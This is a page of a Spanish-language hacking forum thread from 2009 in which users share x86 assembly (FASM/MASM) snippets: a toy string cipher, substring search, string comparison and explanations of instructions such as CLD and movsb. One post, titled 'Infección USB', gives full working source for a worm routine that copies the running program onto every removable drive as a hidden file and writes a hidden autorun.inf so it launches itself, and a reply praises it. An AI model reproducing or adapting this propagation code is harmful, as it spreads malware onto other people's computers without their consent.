elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: [AIO elhacker.NET 2015] Compilación herramientas análisis y desinfección malware


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  ASM (Moderador: Eternal Idol)
| | | |-+  SRCs de YST.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 3 4 5 6 7 [8] 9 Ir Abajo Respuesta Imprimir
Autor Tema: SRCs de YST.  (Leído 27,007 veces)
YST


Desconectado Desconectado

Mensajes: 966


I'm you


Ver Perfil WWW
[SRC] Encriptacion YST
« Respuesta #70 en: 19 Mayo 2009, 02:58 »

Hola , hice un pequeño enredo para cifrar ,digo enredo por que de criptografia yo no tengo idea,lo dejo


Código
  1. proc YSTEncript,cCadena,cBuffer,cTamaño
  2. push eax ebx ecx  edx esi
  3. mov ebx,[cBuffer]
  4. mov esi,[cCadena]
  5. dec esi
  6. dec ebx
  7. .Eb:
  8. dec [cTamaño]
  9. inc esi
  10. inc ebx
  11. mov cl,byte[esi]
  12. add cl,3
  13. mov byte[ebx],cl
  14. not byte[ebx]
  15. xor byte[ebx],45
  16. mov edx,[cTamaño]
  17. xor byte[ebx],dl
  18. cmp [cTamaño],0
  19. jne .Eb
  20. pop  esi edx ecx ebx eax
  21. ret
  22. endp
  23.  
  24. proc YSTDesencript,cCadena,cBuffer,cTamaño
  25. push  eax ebx ecx  edx esi
  26. mov ebx,[cBuffer]
  27. mov esi,[cCadena]
  28. dec esi
  29. dec ebx
  30. .Eb:
  31. dec [cTamaño]
  32. inc esi
  33. inc ebx
  34. mov cl,byte[esi]
  35. mov byte[ebx],cl
  36. mov edx,[cTamaño]
  37. xor byte[ebx],dl
  38. not byte[ebx]
  39. xor byte[ebx],45
  40. sub byte[ebx],3
  41. cmp [cTamaño],0
  42. jne .Eb
  43. pop  esi edx ecx ebx eax
  44. ret
  45. endp


« Última modificación: 31 Mayo 2009, 04:34 por YST » En línea



Yo le enseñe a Kayser a usar objetos en ASM
Amerikano|Cls


Desconectado Desconectado

Mensajes: 789


[Beyond This Life]


Ver Perfil WWW
Re: [SRC] Encriptacion YST
« Respuesta #71 en: 19 Mayo 2009, 04:17 »

Muy bueno YST sigue así, luego lo analizaré que tal  ;)


En línea





Mi blog:
http://amerikanocls.blogspot.com
YST


Desconectado Desconectado

Mensajes: 966


I'm you


Ver Perfil WWW
[SRC] cInstr
« Respuesta #72 en: 20 Mayo 2009, 02:31 »

Código
  1. include 'win32ax.inc'
  2. .code
  3. start:
  4. stdcall cInstr,"98y4ct2y3Hola83925832c","Hola"
  5. .if eax = FALSE
  6. invoke MessageBox,0,"No esta.",0,0
  7. .else
  8. invoke MessageBox,0,eax,0,0
  9. .endif
  10. invoke ExitProcess,0
  11. ;////////////////////////////////////////////////////////////////////////////////////////////////////
  12. ;//Descripción: Funcion que ve si la segunda cadena se encuentra dentro de la primera             //
  13. ;//c1 = Cadena                                                                                   //
  14. ;//c2 = Cadena que se buscara en c1                                                             //
  15. ;// Retorna:                                                                                   //
  16. ;// Si no se encuentra o hay error retorna FALSE , en el caso de que se encuentre devuelve eax//
  17. ;// apuntandoa la posicion de c1 donde se encontro c2                                        //
  18. ;// by YST                                                                                  //
  19. ;////////////////////////////////////////////////////////////////////////////////////////////
  20. proc cInstr,c1,c2
  21. push edi esi ebx ecx  edx
  22. stdcall Len,[c2]
  23. mov edi,eax
  24. stdcall Len,[c1]
  25. mov esi,eax
  26. cmp edi,esi
  27. jg .Falso
  28. mov edx,[c1]
  29. mov ebx,[c2]
  30. dec edx
  31. inc esi
  32. .bucle:
  33. dec esi
  34. inc edx
  35. mov cl,byte[edx+edi]
  36. mov byte[edx+edi],0
  37. stdcall comparar,edx,[c2]
  38. mov byte[edx+edi],cl
  39. .if eax = 0
  40. mov eax,edx
  41. jmp .salir
  42. .endif
  43. cmp esi,0
  44. jne .bucle
  45. .Falso:
  46. mov eax,FALSE
  47. .salir:
  48. pop edx ecx ebx esi edi
  49. ret
  50. endp
  51. proc comparar ,SRC,DST ;Funcion que compara
  52. push edi ecx esi
  53. mov ecx,-1
  54. mov edi,[SRC]
  55. mov al,0
  56. repnz scasb
  57. mov eax,ecx
  58. not eax
  59. mov ecx,eax
  60. mov esi,[SRC]
  61. mov edi,[DST]
  62. repz cmpsb
  63. mov eax,1
  64. jnz Next
  65. dec eax
  66. Next:
  67. pop esi ecx edi
  68. ret
  69. endp
  70. proc Len,cCadena   ;Funcion que mide la cadena
  71. push ecx edi
  72. mov ecx,-1
  73. mov edi,[cCadena]
  74. mov al,0
  75. repnz scasb
  76. mov eax,ecx
  77. not eax
  78. dec eax
  79. pop edi ecx
  80. ret
  81. endp
  82. .end start
« Última modificación: 31 Mayo 2009, 04:35 por YST » En línea



Yo le enseñe a Kayser a usar objetos en ASM
Karcrack


Desconectado Desconectado

Mensajes: 2.425


Se siente observado ¬¬'


Ver Perfil
Re: [SRC]Alternativa RtlMoveMemory
« Respuesta #73 en: 20 Mayo 2009, 18:56 »

Buen trabajo ;D!

Esto es lo que hace RtlMoveMemory según Olly... es muy parecido al tuyo ;D

Código
  1. 7C912C94 > 56               PUSH ESI
  2. 7C912C95   57               PUSH EDI
  3. 7C912C96   8B7424 10        MOV ESI,DWORD PTR SS:[ESP+10]
  4. 7C912C9A   8B7C24 0C        MOV EDI,DWORD PTR SS:[ESP+C]
  5. 7C912C9E   8B4C24 14        MOV ECX,DWORD PTR SS:[ESP+14]
  6. 7C912CA2   FC               CLD
  7. 7C912CA3   3BF7             CMP ESI,EDI
  8. 7C912CA5   76 1A            JBE SHORT ntdll.7C912CC1
  9. 7C912CA7   8BD1             MOV EDX,ECX
  10. 7C912CA9   83E2 03          AND EDX,3
  11. 7C912CAC   C1E9 02          SHR ECX,2
  12. 7C912CAF   F3:A5            REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
  13. 7C912CB1   0BCA             OR ECX,EDX
  14. 7C912CB3   75 05            JNZ SHORT ntdll.7C912CBA
  15. 7C912CB5   5F               POP EDI
  16. 7C912CB6   5E               POP ESI
  17. 7C912CB7   C2 0C00          RETN 0C

Aunque no se que es CLD... tendré que investigar...
En línea

YST


Desconectado Desconectado

Mensajes: 966


I'm you


Ver Perfil WWW
Re: [SRC]Alternativa RtlMoveMemory
« Respuesta #74 en: 20 Mayo 2009, 19:01 »

Citar
Aunque no se que es CLD... tendré que investigar...
Borra la bandera de direccion si no mal recuerdo.
« Última modificación: 31 Mayo 2009, 04:35 por YST » En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 966


I'm you


Ver Perfil WWW
[SRC]Infección USB
« Respuesta #75 en: 20 Mayo 2009, 19:07 »

Esta en fasm para llamarlo se llama con
Código:
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0

Código
  1.     Autorun db '[autoRun]',13,10,\
  2. 'action=Open Files On Folder',13,10,\
  3. 'shellexecute=',0
  4. Autorun2 db 13,10,\
  5. 'UseAutoPlay=1',0  
  6. BufferUnidades rb 31
  7.  

Código
  1. proc InfeccionUSB
  2. locals
  3. Miruta dd ?
  4. Minombre dd ?
  5. MiRutaInfeccionaria dd ?
  6. MiAutorun dd ?
  7. RutaAutorun dd ?
  8. handleCreado dd ?
  9. tamaño dd ?
  10. bEscritos dd ?
  11. endl
  12. pushad
  13.  
  14. invoke GlobalAlloc,GPTR,MAX_PATH
  15.  mov [Miruta],eax
  16. invoke GetModuleFileNameA,0,[Miruta],MAX_PATH
  17.  stdcall ConseguirNombre,[Miruta]
  18.  mov [Minombre],eax
  19.       .infinito:
  20.    invoke SleepEx,1000,FALSE
  21.       stdcall Zerar,BufferUnidades,30
  22. invoke GetLogicalDriveStringsA,30,BufferUnidades
  23.        mov ebx,BufferUnidades
  24.        .bucleDetectaExtraible:
  25. invoke GetDriveTypeA,ebx
  26.  
  27. .if eax = DRIVE_REMOVABLE
  28. .if word[ebx] = 'A:'
  29. .else
  30.      invoke GlobalAlloc,GPTR,MAX_PATH
  31. mov [MiRutaInfeccionaria],eax
  32.           stdcall Concat,ebx,[Minombre],[MiRutaInfeccionaria]
  33.  
  34.     ;       stdcall LLamaOtraApi,'shlwapi.dll', "PathFileExistsA"
  35. invoke PathFileExistsA,[MiRutaInfeccionaria]
  36. .if eax = FALSE
  37.  
  38. invoke CopyFileA,[Miruta],[MiRutaInfeccionaria],FALSE
  39.                ;SetFileAttributes
  40.          invoke SetFileAttributesA,[MiRutaInfeccionaria],FILE_ATTRIBUTE_HIDDEN
  41.              invoke GlobalAlloc,GPTR,MAX_PATH
  42.              mov [MiAutorun] ,eax
  43.            invoke GlobalAlloc,GPTR,MAX_PATH
  44.            mov [RutaAutorun],eax
  45.              stdcall Concat,Autorun,[Minombre], [MiAutorun]
  46.                    stdcall Concat,[MiAutorun],Autorun2, [MiAutorun]
  47.                    stdcall Concat,ebx,"autorun.inf",[RutaAutorun]
  48.  
  49.            invoke CreateFileA, [RutaAutorun] , GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
  50.                mov [handleCreado], eax
  51.            invoke lstrlenA,[MiAutorun]
  52.              mov [tamaño],eax
  53.      invoke WriteFile, [handleCreado],[MiAutorun] , [tamaño], addr bEscritos, NULL
  54.  
  55.  
  56.            invoke CloseHandle, [handleCreado]
  57.               invoke SetFileAttributesA,[RutaAutorun] ,FILE_ATTRIBUTE_HIDDEN
  58. invoke GlobalFree,[MiAutorun]
  59.  
  60. invoke GlobalFree,[RutaAutorun]
  61.                .endif
  62. invoke GlobalFree,[MiRutaInfeccionaria]
  63. .endif
  64. .endif
  65.  
  66. .if byte[ebx] = 0
  67.  
  68. invoke GlobalFree,[Miruta]
  69. invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0
  70. invoke ExitThread,0
  71. .else
  72. add ebx,4
  73. jmp      .bucleDetectaExtraible
  74. .endif
  75. endp
Código
  1. proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
  2.    mov esi,[@AdrSrc1]
  3.    mov edi,[@AdrDest]
  4.  
  5. .concat_src1:
  6.    movsb
  7.    cmp byte[esi],0
  8.    jne .concat_src1
  9.  
  10.    mov esi,[@AdrSrc2]
  11.  
  12. .concat_src2:
  13.    movsb
  14.    cmp byte[esi],0
  15.    jne .concat_src2
  16.  
  17.    movsb
  18.  
  19.    ret
  20. endp
  21.  
  22. proc ConseguirNombre,ruta ;Funcion que devuelve el nombrer de el archivo.
  23. push ebx
  24. xor ebx,ebx
  25. mov ebx,[ruta]
  26. stdcall len,[ruta]
  27. add ebx,eax
  28. @@:
  29. dec ebx
  30. cmp byte[ebx],5Ch
  31. jne @b
  32. inc ebx
  33. mov eax,ebx
  34. pop ebx
  35. ret
  36. endp  
  37.  
  38. proc Zerar,Puntero,Cantidad
  39.  
  40.    push ecx
  41.    push ebx
  42.  
  43.              mov ecx,[Cantidad]
  44.                 mov ebx,[Puntero]
  45.                .bucle:
  46.  
  47.                mov byte[ebx+ecx],0
  48.                loop .bucle
  49.                mov byte[ebx],0
  50.                pop ebx
  51.                pop ecx
  52.                ret
  53. endp    
  54.  
« Última modificación: 31 Mayo 2009, 04:37 por YST » En línea



Yo le enseñe a Kayser a usar objetos en ASM
Arkangel_0x7C5


Desconectado Desconectado

Mensajes: 361



Ver Perfil
Re: [SRC]Alternativa RtlMoveMemory
« Respuesta #76 en: 20 Mayo 2009, 21:28 »

bueno, ya que estamos con alternativas a apis, yo coloco el mio.

StrCmpW: Compara cadenas UNICODE, si son iguales devuelve error_sucess
Código
  1. StrCmpW proc str1,str2
  2.  
  3. push ebx
  4. push edx
  5.  
  6. mov ebx,str1
  7. mov edx,str2
  8.  
  9. comparando:
  10. movzx eax,word ptr[ebx]
  11. cmp ax,word ptr[edx]
  12. jne diferente
  13. add ebx,2
  14. add edx,2
  15. test ax,ax
  16. jz fin
  17. jmp comparando
  18. diferente:
  19. inc eax
  20. fin:
  21.  
  22. pop edx
  23. pop ebx
  24.  
  25. ret
  26.  
  27. StrCmpW endp
  28.  
« Última modificación: 20 Mayo 2009, 21:30 por Arcangel_0x7C5 » En línea

ny0x


Desconectado Desconectado

Mensajes: 336


Ver Perfil
Re: [SRC]Alternativa RtlMoveMemory
« Respuesta #77 en: 20 Mayo 2009, 21:34 »

cld, movzx, rep movsb, word ptr ?  :o tengo mucho que aprender todavia, felicitaciones por los codes,  ;-)
En línea

ny0x


Desconectado Desconectado

Mensajes: 336


Ver Perfil
Re: [SRC]Infección USB
« Respuesta #78 en: 20 Mayo 2009, 21:56 »

excelente yst infeccion usb,  ;D yo la habia hecho en C pero asm es otro rollo, nada mas que yo mejore mi nivel en asm empiezo a postear mis codes por aqui  ;)
saludos
En línea

Arkangel_0x7C5


Desconectado Desconectado

Mensajes: 361



Ver Perfil
Re: [SRC]Alternativa RtlMoveMemory
« Respuesta #79 en: 20 Mayo 2009, 22:04 »

como dijo jack el destripador, vamos por partes xD

rep repite una operacion hasta que cx o ecx sean 0.

movsb, movsw, movsd. Mueven el contenido de la direccion de memoria contenida en esi, a la direccion de memoria apuntada por edi y los aumentan o disminullen 1,2,4 respectivamente.

cld borra el falg que indica si se resta o aumenta edi y esi con un movsX
STD hace lo contrario de CLD. Si el flag esta en 1, se disminuiran y en cero se incrementaran.

movzx es como un mov, pero sirve para copiar 1,2,4 bytes en un registro de 32bits. Rellenando lo que falte con zeros.

Byte ptr, word ptr, dwrod ptr es la forma que se usa para decirle al Masm la cantidad de bytes que se quiere leer de memoria.

saludos
En línea

Páginas: 1 2 3 4 5 6 7 [8] 9 Ir Arriba Respuesta Imprimir 

Ir a:  
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines